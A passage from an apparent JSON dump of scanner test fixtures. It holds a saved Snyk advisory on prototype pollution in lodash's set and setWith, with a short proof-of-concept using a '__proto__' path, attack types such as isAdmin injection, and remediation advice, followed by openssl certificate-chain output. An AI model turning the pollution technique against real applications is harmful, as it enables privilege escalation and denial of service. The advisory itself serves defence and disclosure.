Overview\\n[lodash](https:\\u002F\\u002Fwww.npmjs.com\\u002Fpackage\\u002Flodash) is a modern JavaScript utility library delivering modularity, performance, & extras.\\n\\nAffected versions of this package are vulnerable to Prototype Pollution via the `setWith` and `set` functions.\\r\\n\\r\\n## PoC by awarau\\r\\n* Create a JS file with this contents:\\r\\n```\\r\\nlod = require('lodash')\\r\\nlod.setWith({}, \\\"__proto__[test]\\\", \\\"123\\\")\\r\\nlod.set({}, \\\"__proto__[test2]\\\", \\\"456\\\")\\r\\nconsole.log(Object.prototype)\\r\\n```\\r\\n* Execute it with `node`\\r\\n* Observe that `test` and `test2` is now in the `Object.prototype`.\\n\\n## Details\\n\\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `__proto__`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values.  Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\\n\\nThere are two main ways in which the pollution of prototypes occurs:\\n\\n-   Unsafe `Object` recursive merge\\n    \\n-   Property definition by path\\n    \\n\\n### Unsafe Object recursive merge\\n\\nThe logic of a vulnerable recursive merge function follows the following high-level model:\\n```\\nmerge (target, source)\\n\\n  foreach property of source\\n\\n    if property exists and is an object on both the target and the source\\n\\n      merge(target[property], source[property])\\n\\n    else\\n\\n      target[property] = source[property]\\n```\\n\\u003Cbr\\u003E  \\n\\nWhen the source object contains a property named `__proto__` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\\n\\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\\n\\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\\n\\n### Property definition by path\\n\\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\\n\\nIf the attacker can control the value of “path”, they can set this value to `__proto__.myValue`. `myValue` is then assigned to the prototype of the class of the object.\\n\\n## Types of attacks\\n\\nThere are a few methods by which Prototype Pollution can be manipulated:\\n\\n| Type |Origin  |Short description |\\n|--|--|--|\\n| **Denial of service (DoS)**|Client  |This is the most likely attack. \\u003Cbr\\u003EDoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`). \\u003Cbr\\u003E The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.  \\u003Cbr\\u003E**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.\\u003Cbr\\u003E**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.\\u003Cbr\\u003E  **For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\\n\\n## Affected environments\\n\\nThe following environments are susceptible to a Prototype Pollution attack:\\n\\n-   Application server\\n    \\n-   Web server\\n\\n-   Web browser\\n    \\n\\n## How to prevent\\n\\n1.  Freeze the prototype— use `Object.freeze (Object.prototype)`.\\n    \\n2.  Require schema validation of JSON input.\\n    \\n3.  Avoid using unsafe recursive merge functions.\\n    \\n4.  Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\\n    \\n5.  As a best practice use `Map` instead of `Object`.\\n\\n### For more information on this vulnerability type:\\n\\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https:\\u002F\\u002Fgithub.com\\u002FHoLyVieR\\u002Fprototype-pollution-nsec18\\u002Fblob\\u002Fmaster\\u002Fpaper\\u002FJavaScript_prototype_pollution_attack_in_NodeJS.pdf)\\n\\n## Remediation\\nUpgrade `lodash` to version 4.17.17 or higher.\\n## References\\n- [HackerOne Report](https:\\u002F\\u002Fhackerone.com\\u002Freports\\u002F864701)\\n\",severity:\"high\",packageName:c,packageManager:d,publicationTime:\"2020-08-21T12:53:03Z\",disclosureTime:\"2020-08-21T10:34:29Z\",credit:[\"awarau\"],identifiers:{CVE:[],CWE:[\"CWE-1321\"]},semver:{vulnerable:[e]},CVSSv3:\"CVSS:3.1\\u002FAV:N\\u002FAC:L\\u002FPR:N\\u002FUI:N\\u002FS:U\\u002FC:L\\u002FI:L\\u002FA:L\\u002FE:P\\u002FRL:O\\u002FRC:C\",cvssScore:7.3,language:\"js\",socialTrendAlert:a,proprietary:a,malicious:a,exploitMaturity:\"Proof of Concept\",cvssDetails:[],epssDetails:b,breadcrumbItems:[{url:\"\\u002Fvuln\",label:\"Snyk Vulnerability Database\"},{label:d,url:\"\\u002Fvuln\\u002Fnpm\"},{label:c,findByTestHook:\"filter\"}],vulnDescription:{Overview:\"\\u003Cp\\u003E\\u003Ca href=\\\"https:\\u002F\\u002Fwww.npmjs.com\\u002Fpackage\\u002Flodash\\\"\\u003Elodash\\u003C\\u002Fa\\u003E is a modern JavaScript utility library delivering modularity, performance, &amp; extras.\\u003C\\u002Fp\\u003E\\n\\u003Cp\\u003EAffected versions of this package are vulnerable to Prototype Pollution via the \\u003Ccode\\u003EsetWith\\u003C\\u002Fcode\\u003E and \\u003Ccode\\u003Eset\\u003C\\u002Fcode\\u003E functions.\\u003C\\u002Fp\\u003E\\n\",\"PoC by awarau\":\"\\u003Cul\\u003E\\n\\u003Cli\\u003ECreate a JS file with this contents:\\u003C\\u002Fli\\u003E\\n\\u003C\\u002Ful\\u003E\\n\\u003Cpre\\u003E\\u003Ccode\\u003Elod = require(&#39;lodash&#39;)\\nlod.setWith({}, &quot;__proto__[test]&quot;, &quot;123&quot;)\\nlod.set({}, &quot;__proto__[test2]&quot;, &quot;456&quot;)\\nconsole.log(Object.prototype)\\n\\u003C\\u002Fcode\\u003E\\u003C\\u002Fpre\\u003E\\n\\u003Cul\\u003E\\n\\u003Cli\\u003EExecute it with \\u003Ccode\\u003Enode\\u003C\\u002Fcode\\u003E\\u003C\\u002Fli\\u003E\\n\\u003Cli\\u003EObserve that \\u003Ccode\\u003Etest\\u003C\\u002Fcode\\u003E and \\u003Ccode\\u003Etest2\\u003C\\u002Fcode\\u003E is now in the \\u003Ccode\\u003EObject.prototype\\u003C\\u002Fcode\\u003E.\\u003C\\u002Fli\\u003E\\n\\u003C\\u002Ful\\u003E\\n\",Details:\"\\u003Cp\\u003EPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as \\u003Ccode\\u003E__proto__\\u003C\\u002Fcode\\u003E, \\u003Ccode\\u003Econstructor\\u003C\\u002Fcode\\u003E and \\u003Ccode\\u003Eprototype\\u003C\\u002Fcode\\u003E. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values.  Properties on the \\u003Ccode\\u003EObject.prototype\\u003C\\u002Fcode\\u003E are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\\u003C\\u002Fp\\u003E\\n\\u003Cp\\u003EThere are two main ways in which the pollution of prototypes occurs:\\u003C\\u002Fp\\u003E\\n\\u003Cul\\u003E\\n\\u003Cli\\u003E\\u003Cp\\u003EUnsafe \\u003Ccode\\u003EObject\\u003C\\u002Fcode\\u003E recursive merge\\u003C\\u002Fp\\u003E\\n\\u003C\\u002Fli\\u003E\\n\\u003Cli\\u003E\\u003Cp\\u003EProperty definition by path\\u003C\\u002Fp\\u003E\\n\\u003C\\u002Fli\\u003E\\n\\u003C\\u002Ful\\u003E\\n\\u003Ch3\\u003EUnsafe Object recursive merge\\u003C\\u002Fh3\\u003E\\n\\u003Cp\\u003EThe logic of a vulnerable recursive merge function follows the following high-level model:\\u003C\\u002Fp\\u003E\\n\\u003Cpre\\u003E\\u003Ccode\\u003Emerge (target, source)\\n\\n  foreach property of source\\n\\n    if property exists and is an object on both the target and the source\\n\\n      merge(target[property], source[property])\\n\\n    else\\n\\n      target[property] = source[property]\\n\\u003C\\u002Fcode\\u003E\\u003C\\u002Fpre\\u003E\\n\\u003Cbr\\u003E  \\n\\n\\u003Cp\\u003EWhen the source object contains a property named \\u003Ccode\\u003E__proto__\\u003C\\u002Fcode\\u003E defined with \\u003Ccode\\u003EObject.defineProperty()\\u003C\\u002Fcode\\u003E , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of \\u003Ccode\\u003EObject\\u003C\\u002Fcode\\u003E and the source of \\u003Ccode\\u003EObject\\u003C\\u002Fcode\\u003E as defined by the attacker. Properties are then copied on the \\u003Ccode\\u003EObject\\u003C\\u002Fcode\\u003E prototype.\\u003C\\u002Fp\\u003E\\n\\u003Cp\\u003EClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: \\u003Ccode\\u003Emerge({},source)\\u003C\\u002Fcode\\u003E.\\u003C\\u002Fp\\u003E\\n\\u003Cp\\u003E\\u003Ccode\\u003Elodash\\u003C\\u002Fcode\\u003E and \\u003Ccode\\u003EHoek\\u003C\\u002Fcode\\u003E are examples of libraries susceptible to recursive merge attacks.\\u003C\\u002Fp\\u003E\\n\\u003Ch3\\u003EProperty definition by path\\u003C\\u002Fh3\\u003E\\n\\n\\u003Cp\\u003EThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: \\u003Ccode\\u003EtheFunction(object, path, value)\\u003C\\u002Fcode\\u003E\\u003C\\u002Fp\\u003E\\n\\u003Cp\\u003EIf the attacker can control the value of “path”, they can set this value to \\u003Ccode\\u003E__proto__.myValue\\u003C\\u002Fcode\\u003E. \\u003Ccode\\u003EmyValue\\u003C\\u002Fcode\\u003E is then assigned to the prototype of the class of the object.\\u003C\\u002Fp\\u003E\\n\",\"Types of attacks\":\"\\u003Cp\\u003EThere are a few methods by which Prototype Pollution can be manipulated:\\u003C\\u002Fp\\u003E\\n\\u003Ctable\\u003E\\n\\u003Cthead\\u003E\\n\\u003Ctr\\u003E\\n\\u003Cth\\u003EType\\u003C\\u002Fth\\u003E\\n\\u003Cth\\u003EOrigin\\u003C\\u002Fth\\u003E\\n\\u003Cth\\u003EShort description\\u003C\\u002Fth\\u003E\\n\\u003C\\u002Ftr\\u003E\\n\\u003C\\u002Fthead\\u003E\\n\\u003Ctbody\\u003E\\u003Ctr\\u003E\\n\\u003Ctd\\u003E\\u003Cstrong\\u003EDenial of service (DoS)\\u003C\\u002Fstrong\\u003E\\u003C\\u002Ftd\\u003E\\n\\u003Ctd\\u003EClient\\u003C\\u002Ftd\\u003E\\n\\u003Ctd\\u003EThis is the most likely attack. \\u003Cbr\\u003EDoS occurs when \\u003Ccode\\u003EObject\\u003C\\u002Fcode\\u003E holds generic functions that are implicitly called for various operations (for example, \\u003Ccode\\u003EtoString\\u003C\\u002Fcode\\u003E and \\u003Ccode\\u003EvalueOf\\u003C\\u002Fcode\\u003E). \\u003Cbr\\u003E The attacker pollutes \\u003Ccode\\u003EObject.prototype.someattr\\u003C\\u002Fcode\\u003E and alters its state to an unexpected value such as \\u003Ccode\\u003EInt\\u003C\\u002Fcode\\u003E or \\u003Ccode\\u003EObject\\u003C\\u002Fcode\\u003E. In this case, the code fails and is likely to cause a denial of service.  \\u003Cbr\\u003E\\u003Cstrong\\u003EFor example:\\u003C\\u002Fstrong\\u003E if an attacker pollutes \\u003Ccode\\u003EObject.prototype.toString\\u003C\\u002Fcode\\u003E by defining it as an integer, if the codebase at any point was reliant on \\u003Ccode\\u003Esomeobject.toString()\\u003C\\u002Fcode\\u003E it would fail.\\u003C\\u002Ftd\\u003E\\n\\u003C\\u002Ftr\\u003E\\n\\u003Ctr\\u003E\\n\\u003Ctd\\u003E\\u003Cstrong\\u003ERemote Code Execution\\u003C\\u002Fstrong\\u003E\\u003C\\u002Ftd\\u003E\\n\\u003Ctd\\u003EClient\\u003C\\u002Ftd\\u003E\\n\\u003Ctd\\u003ERemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.\\u003Cbr\\u003E\\u003Cstrong\\u003EFor example:\\u003C\\u002Fstrong\\u003E \\u003Ccode\\u003Eeval(someobject.someattr)\\u003C\\u002Fcode\\u003E. In this case, if the attacker pollutes \\u003Ccode\\u003EObject.prototype.someattr\\u003C\\u002Fcode\\u003E they are likely to be able to leverage this in order to execute code.\\u003C\\u002Ftd\\u003E\\n\\u003C\\u002Ftr\\u003E\\n\\u003Ctr\\u003E\\n\\u003Ctd\\u003E\\u003Cstrong\\u003EProperty Injection\\u003C\\u002Fstrong\\u003E\\u003C\\u002Ftd\\u003E\\n\\u003Ctd\\u003EClient\\u003C\\u002Ftd\\u003E\\n\\u003Ctd\\u003EThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.\\u003Cbr\\u003E  \\u003Cstrong\\u003EFor example:\\u003C\\u002Fstrong\\u003E if a codebase checks privileges for \\u003Ccode\\u003Esomeuser.isAdmin\\u003C\\u002Fcode\\u003E, then when the attacker pollutes \\u003Ccode\\u003EObject.prototype.isAdmin\\u003C\\u002Fcode\\u003E and sets it to equal \\u003Ccode\\u003Etrue\\u003C\\u002Fcode\\u003E, they can then achieve admin privileges.\\u003C\\u002Ftd\\u003E\\n\\u003C\\u002Ftr\\u003E\\n\\u003C\\u002Ftbody\\u003E\\u003C\\u002Ftable\\u003E\\n\",\"Affected environments\":\"\\u003Cp\\u003EThe following environments are susceptible to a Prototype Pollution attack:\\u003C\\u002Fp\\u003E\\n\\u003Cul\\u003E\\n\\u003Cli\\u003E\\u003Cp\\u003EApplication server\\u003C\\u002Fp\\u003E\\n\\u003C\\u002Fli\\u003E\\n\\u003Cli\\u003E\\u003Cp\\u003EWeb server\\u003C\\u002Fp\\u003E\\n\\u003C\\u002Fli\\u003E\\n\\u003Cli\\u003E\\u003Cp\\u003EWeb browser\\u003C\\u002Fp\\u003E\\n\\u003C\\u002Fli\\u003E\\n\\u003C\\u002Ful\\u003E\\n\",\"How to prevent\":\"\\u003Col\\u003E\\n\\u003Cli\\u003E\\u003Cp\\u003EFreeze the prototype— use \\u003Ccode\\u003EObject.freeze (Object.prototype)\\u003C\\u002Fcode\\u003E.\\u003C\\u002Fp\\u003E\\n\\u003C\\u002Fli\\u003E\\n\\u003Cli\\u003E\\u003Cp\\u003ERequire schema validation of JSON input.\\u003C\\u002Fp\\u003E\\n\\u003C\\u002Fli\\u003E\\n\\u003Cli\\u003E\\u003Cp\\u003EAvoid using unsafe recursive merge functions.\\u003C\\u002Fp\\u003E\\n\\u003C\\u002Fli\\u003E\\n\\u003Cli\\u003E\\u003Cp\\u003EConsider using objects without prototypes (for example, \\u003Ccode\\u003EObject.create(null)\\u003C\\u002Fcode\\u003E), breaking the prototype chain and preventing pollution.\\u003C\\u002Fp\\u003E\\n\\u003C\\u002Fli\\u003E\\n\\u003Cli\\u003E\\u003Cp\\u003EAs a best practice use \\u003Ccode\\u003EMap\\u003C\\u002Fcode\\u003E instead of \\u003Ccode\\u003EObject\\u003C\\u002Fcode\\u003E.\\u003C\\u002Fp\\u003E\\n\\u003C\\u002Fli\\u003E\\n\\u003C\\u002Fol\\u003E\\n\\u003Ch3\\u003EFor more information on this vulnerability type:\\u003C\\u002Fh3\\u003E\\n\\u003Cp\\u003E\\u003Ca href=\\\"https:\\u002F\\u002Fgithub.com\\u002FHoLyVieR\\u002Fprototype-pollution-nsec18\\u002Fblob\\u002Fmaster\\u002Fpaper\\u002FJavaScript_prototype_pollution_attack_in_NodeJS.pdf\\\"\\u003EArteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018\\u003C\\u002Fa\\u003E\\u003C\\u002Fp\\u003E\\n\",References:\"\\u003Cul\\u003E\\n\\u003Cli\\u003E\\u003Ca href=\\\"https:\\u002F\\u002Fhackerone.com\\u002Freports\\u002F864701\\\"\\u003EHackerOne Report\\u003C\\u002Fa\\u003E\\u003C\\u002Fli\\u003E\\n\\u003C\\u002Ful\\u003E\\n\"},vulnerableVersions:e,remediation:\"\\u003Cp\\u003EUpgrade \\u003Ccode\\u003Elodash\\u003C\\u002Fcode\\u003E to version 4.17.17 or higher.\\u003C\\u002Fp\\u003E\\n\"}],fetch:{},error:b,serverRendered:f,routePath:\"\\u002Fvuln\\u002FSNYK-JS-LODASH-608086\",config:{SEGMENT:{enabled:f,key:\"LXBRTjNx7YkZnd7ZtYyVSWNlMtRSH6sg\"},SPLITSIGNAL:{enabled:a,id:\"af6f72c8-a7af-45f3-b4a3-8b932c185d06\",debugMode:g},ENVIRONMENT:g,MARKETING_SITE_HOST:\"https:\\u002F\\u002Fsnyk.io\",_app:{basePath:\"\\u002F\",assetsPath:\"\\u002F_nuxt\\u002F\",cdnURL:b}}}}(false,null,\"lodash\",\"npm\",\"\\u003C4.17.17\",true,void 0));</script><script src=\"/_nuxt/93175d7.js\" defer></script><script src=\"/_nuxt/cdceec7.js\" defer></script><script src=\"/_nuxt/e28ec5e.js\" defer></script><script src=\"/_nuxt/e59929a.js\" defer></script><script src=\"/_nuxt/a176eca.js\" defer></script><script src=\"/_nuxt/ef6d641.js\" defer></script><script src=\"/_nuxt/83b1d99.js\" defer></script><script src=\"/_nuxt/64d0c54.js\" defer></script><script src=\"/_nuxt/74535e1.js\" defer></script><script src=\"/_nuxt/56b97f8.js\" defer></script>\n  </body>\n</html>\n"
  },
  {
    "path": "boefjes/tests/examples/ssl-certificates.txt",
    "content": "CONNECTED(00000003)\n---\nCertificate chain\n 0 s:CN = mispo.es\n   i:C = US, O = Let's Encrypt, CN = R3\n-----BEGIN CERTIFICATE-----\nMIIFKjCCBBKgAwIBAgISBIEgUTAliVGEWSjvwigTdO8TMA0GCSqGSIb3DQEBCwUA\nMDIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQswCQYDVQQD\nEwJSMzAeFw0yMjExMTUwODUyNTdaFw0yMzAyMTMwODUyNTZaMBMxETAPBgNVBAMT\nCG1pc3BvLmVzMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoHAjzeGB\njt/YWunF+X50xzCgTh6Fs71+QWckk17j6jFVB9YdKGdnkQOYaBoZdqjFs2ojtWZI\neqrSPEzHfS4mk5XlYllgQomR966Ly2IrPQkzqHo9xqpaILxiJIXa7K2cUbL9rdpB\nil+7QtCCAWcmTBJItgdvj8r/jCNsUrrWp+Io4ojaVQs4VaYWcIbftSs5nnVtJ41/\ni6OgrfvNthRfGT9W3afNqrAzAkLsGI/Qa3KT9KPEikItuEpa2VZEYRPBUY+KlhfK\ndgCDBD1uIGAd8rlFwfMq65rRBPk8sYlT9eaBvoKde2oDI3oXfwv2lDUgts5i+hdk\nR9VFOqcrPp2VUQIDAQABo4ICVzCCAlMwDgYDVR0PAQH/BAQDAgWgMB0GA1UdJQQW\nMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRd\nUBy7LJ4dkCYqDP4fDk1a+BTKwjAfBgNVHSMEGDAWgBQULrMXt1hWy65QCUDmH6+d\nixTCxjBVBggrBgEFBQcBAQRJMEcwIQYIKwYBBQUHMAGGFWh0dHA6Ly9yMy5vLmxl\nbmNyLm9yZzAiBggrBgEFBQcwAoYWaHR0cDovL3IzLmkubGVuY3Iub3JnLzAnBgNV\nHREEIDAegghtaXNwby5lc4ISdnVpbGUuc3RpbGxla2F0Lm5sMEwGA1UdIARFMEMw\nCAYGZ4EMAQIBMDcGCysGAQQBgt8TAQEBMCgwJgYIKwYBBQUHAgEWGmh0dHA6Ly9j\ncHMubGV0c2VuY3J5cHQub3JnMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHcAejKM\nVNi3LbYg6jjgUh7phBZwMhOFTTvSK8E6V6NS61IAAAGEerTBaQAABAMASDBGAiEA\npPIOE9cqiRsOXUGyFjDG6+WteI7U5e8ZEUFP5DvcPNACIQDWgqHT74Y8f13IM7bV\n74rXaLbIbTaLAlSzyqBOOScO0wB1AOg+0No+9QY1MudXKLyJa8kD08vREWvs62nh\nd31tBr1uAAABhHq0wcwAAAQDAEYwRAIgEvvznbl7HfU1FI9HThTz4OpJh5L+0YpQ\nSqeJw1TYcrUCIAjuTcePt5n9zAEzV0nKY3Knw+GJ40HS3fOjh3FXsa8BMA0GCSqG\nSIb3DQEBCwUAA4IBAQAR6t0xjTZ3djYvafy9iDAYnrbq76xcViq58mAgZxcQIZ0x\nLQyxKe44skPFaf9GgHJImqnL41twdZfvnidE4pIaYE5NIjbEA/lloMaMrzJ/f8ux\niC5doo1/r6wvRJqRmoIF4aC8y+WpTxogf01Ea4rV6rHMugBUfJLjx2gkxloMEguw\nRElnErM9aL36GQz0j8yY4FHppzkcRerjRe/p9OALu81nWxG0K+7Xp42JzylYXvCj\nidLA7MOqakHLt+O6Uf8DaJOIXdHYbhyijcqANzzG1jSixjHaBoM6inGVhJI+Mh5t\nqXe6YQpcZ1a7Hdns92sUt1d8/6dihdDd1vVxcVmP\n-----END CERTIFICATE-----\n 1 s:C = US, O = Let's Encrypt, CN = R3\n   i:C = US, O = Internet Security Research Group, CN = ISRG Root X1\n-----BEGIN CERTIFICATE-----\nMIIFFjCCAv6gAwIBAgIRAJErCErPDBinU/bWLiWnX1owDQYJKoZIhvcNAQELBQAw\nTzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh\ncmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjAwOTA0MDAwMDAw\nWhcNMjUwOTE1MTYwMDAwWjAyMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg\nRW5jcnlwdDELMAkGA1UEAxMCUjMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK\nAoIBAQC7AhUozPaglNMPEuyNVZLD+ILxmaZ6QoinXSaqtSu5xUyxr45r+XXIo9cP\nR5QUVTVXjJ6oojkZ9YI8QqlObvU7wy7bjcCwXPNZOOftz2nwWgsbvsCUJCWH+jdx\nsxPnHKzhm+/b5DtFUkWWqcFTzjTIUu61ru2P3mBw4qVUq7ZtDpelQDRrK9O8Zutm\nNHz6a4uPVymZ+DAXXbpyb/uBxa3Shlg9F8fnCbvxK/eG3MHacV3URuPMrSXBiLxg\nZ3Vms/EY96Jc5lP/Ooi2R6X/ExjqmAl3P51T+c8B5fWmcBcUr2Ok/5mzk53cU6cG\n/kiFHaFpriV1uxPMUgP17VGhi9sVAgMBAAGjggEIMIIBBDAOBgNVHQ8BAf8EBAMC\nAYYwHQYDVR0lBBYwFAYIKwYBBQUHAwIGCCsGAQUFBwMBMBIGA1UdEwEB/wQIMAYB\nAf8CAQAwHQYDVR0OBBYEFBQusxe3WFbLrlAJQOYfr52LFMLGMB8GA1UdIwQYMBaA\nFHm0WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcw\nAoYWaHR0cDovL3gxLmkubGVuY3Iub3JnLzAnBgNVHR8EIDAeMBygGqAYhhZodHRw\nOi8veDEuYy5sZW5jci5vcmcvMCIGA1UdIAQbMBkwCAYGZ4EMAQIBMA0GCysGAQQB\ngt8TAQEBMA0GCSqGSIb3DQEBCwUAA4ICAQCFyk5HPqP3hUSFvNVneLKYY611TR6W\nPTNlclQtgaDqw+34IL9fzLdwALduO/ZelN7kIJ+m74uyA+eitRY8kc607TkC53wl\nikfmZW4/RvTZ8M6UK+5UzhK8jCdLuMGYL6KvzXGRSgi3yLgjewQtCPkIVz6D2QQz\nCkcheAmCJ8MqyJu5zlzyZMjAvnnAT45tRAxekrsu94sQ4egdRCnbWSDtY7kh+BIm\nlJNXoB1lBMEKIq4QDUOXoRgffuDghje1WrG9ML+Hbisq/yFOGwXD9RiX8F6sw6W4\navAuvDszue5L3sz85K+EC4Y/wFVDNvZo4TYXao6Z0f+lQKc0t8DQYzk1OXVu8rp2\nyJMC6alLbBfODALZvYH7n7do1AZls4I9d1P4jnkDrQoxB3UqQ9hVl3LEKQ73xF1O\nyK5GhDDX8oVfGKF5u+decIsH4YaTw7mP3GFxJSqv3+0lUFJoi5Lc5da149p90Ids\nhCExroL1+7mryIkXPeFM5TgO9r0rvZaBFOvV2z0gp35Z0+L4WPlbuEjN/lxPFin+\nHlUjr8gRsI3qfJOQFy/9rKIJR0Y/8Omwt/8oTWgy1mdeHmmjk7j1nYsvC9JSQ6Zv\nMldlTTKB3zhThV1+XWYp6rjd5JW1zbVWEkLNxE7GJThEUG3szgBVGP7pSWTUTsqX\nnLRbwHOoq7hHwg==\n-----END CERTIFICATE-----\n 2 s:C = US, O = Internet Security Research Group, CN = ISRG Root X1\n   i:O = Digital Signature Trust Co., CN = DST Root CA X3\n-----BEGIN CERTIFICATE-----\nMIIFYDCCBEigAwIBAgIQQAF3ITfU6UK47naqPGQKtzANBgkqhkiG9w0BAQsFADA/\nMSQwIgYDVQQKExtEaWdpdGFsIFNpZ25hdHVyZSBUcnVzdCBDby4xFzAVBgNVBAMT\nDkRTVCBSb290IENBIFgzMB4XDTIxMDEyMDE5MTQwM1oXDTI0MDkzMDE4MTQwM1ow\nTzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh\ncmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwggIiMA0GCSqGSIb3DQEB\nAQUAA4ICDwAwggIKAoICAQCt6CRz9BQ385ueK1coHIe+3LffOJCMbjzmV6B493XC\nov71am72AE8o295ohmxEk7axY/0UEmu/H9LqMZshftEzPLpI9d1537O4/xLxIZpL\nwYqGcWlKZmZsj348cL+tKSIG8+TA5oCu4kuPt5l+lAOf00eXfJlII1PoOK5PCm+D\nLtFJV4yAdLbaL9A4jXsDcCEbdfIwPPqPrt3aY6vrFk/CjhFLfs8L6P+1dy70sntK\n4EwSJQxwjQMpoOFTJOwT2e4ZvxCzSow/iaNhUd6shweU9GNx7C7ib1uYgeGJXDR5\nbHbvO5BieebbpJovJsXQEOEO3tkQjhb7t/eo98flAgeYjzYIlefiN5YNNnWe+w5y\nsR2bvAP5SQXYgd0FtCrWQemsAXaVCg/Y39W9Eh81LygXbNKYwagJZHduRze6zqxZ\nXmidf3LWicUGQSk+WT7dJvUkyRGnWqNMQB9GoZm1pzpRboY7nn1ypxIFeFntPlF4\nFQsDj43QLwWyPntKHEtzBRL8xurgUBN8Q5N0s8p0544fAQjQMNRbcTa0B7rBMDBc\nSLeCO5imfWCKoqMpgsy6vYMEG6KDA0Gh1gXxG8K28Kh8hjtGqEgqiNx2mna/H2ql\nPRmP6zjzZN7IKw0KKP/32+IVQtQi0Cdd4Xn+GOdwiK1O5tmLOsbdJ1Fu/7xk9TND\nTwIDAQABo4IBRjCCAUIwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYw\nSwYIKwYBBQUHAQEEPzA9MDsGCCsGAQUFBzAChi9odHRwOi8vYXBwcy5pZGVudHJ1\nc3QuY29tL3Jvb3RzL2RzdHJvb3RjYXgzLnA3YzAfBgNVHSMEGDAWgBTEp7Gkeyxx\n+tvhS5B1/8QVYIWJEDBUBgNVHSAETTBLMAgGBmeBDAECATA/BgsrBgEEAYLfEwEB\nATAwMC4GCCsGAQUFBwIBFiJodHRwOi8vY3BzLnJvb3QteDEubGV0c2VuY3J5cHQu\nb3JnMDwGA1UdHwQ1MDMwMaAvoC2GK2h0dHA6Ly9jcmwuaWRlbnRydXN0LmNvbS9E\nU1RST09UQ0FYM0NSTC5jcmwwHQYDVR0OBBYEFHm0WeZ7tuXkAXOACIjIGlj26Ztu\nMA0GCSqGSIb3DQEBCwUAA4IBAQAKcwBslm7/DlLQrt2M51oGrS+o44+/yQoDFVDC\n5WxCu2+b9LRPwkSICHXM6webFGJueN7sJ7o5XPWioW5WlHAQU7G75K/QosMrAdSW\n9MUgNTP52GE24HGNtLi1qoJFlcDyqSMo59ahy2cI2qBDLKobkx/J3vWraV0T9VuG\nWCLKTVXkcGdtwlfFRjlBz4pYg1htmf5X6DYO8A4jqv2Il9DjXA6USbW1FzXSLr9O\nhe8Y4IWS6wY7bCkjCWDcRQJMEhg76fsO3txE+FiYruq9RUWhiF1myv4Q6W+CyBFC\nDfvp7OOGAN6dEOM4+qR9sdjoSYKEBpsr6GtPAQw4dy753ec5\n-----END CERTIFICATE-----\n---\nServer certificate\nsubject=CN = mispo.es\n\nissuer=C = US, O = Let's Encrypt, CN = R3\n\n---\nNo client certificate CA names sent\nPeer signing digest: SHA256\nPeer signature type: RSA-PSS\nServer Temp Key: X25519, 253 bits\n---\nSSL handshake has read 4582 bytes and written 390 bytes\nVerification error: certificate has expired\n---\nNew, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384\nServer public key is 2048 bit\nSecure Renegotiation IS NOT supported\nNo ALPN 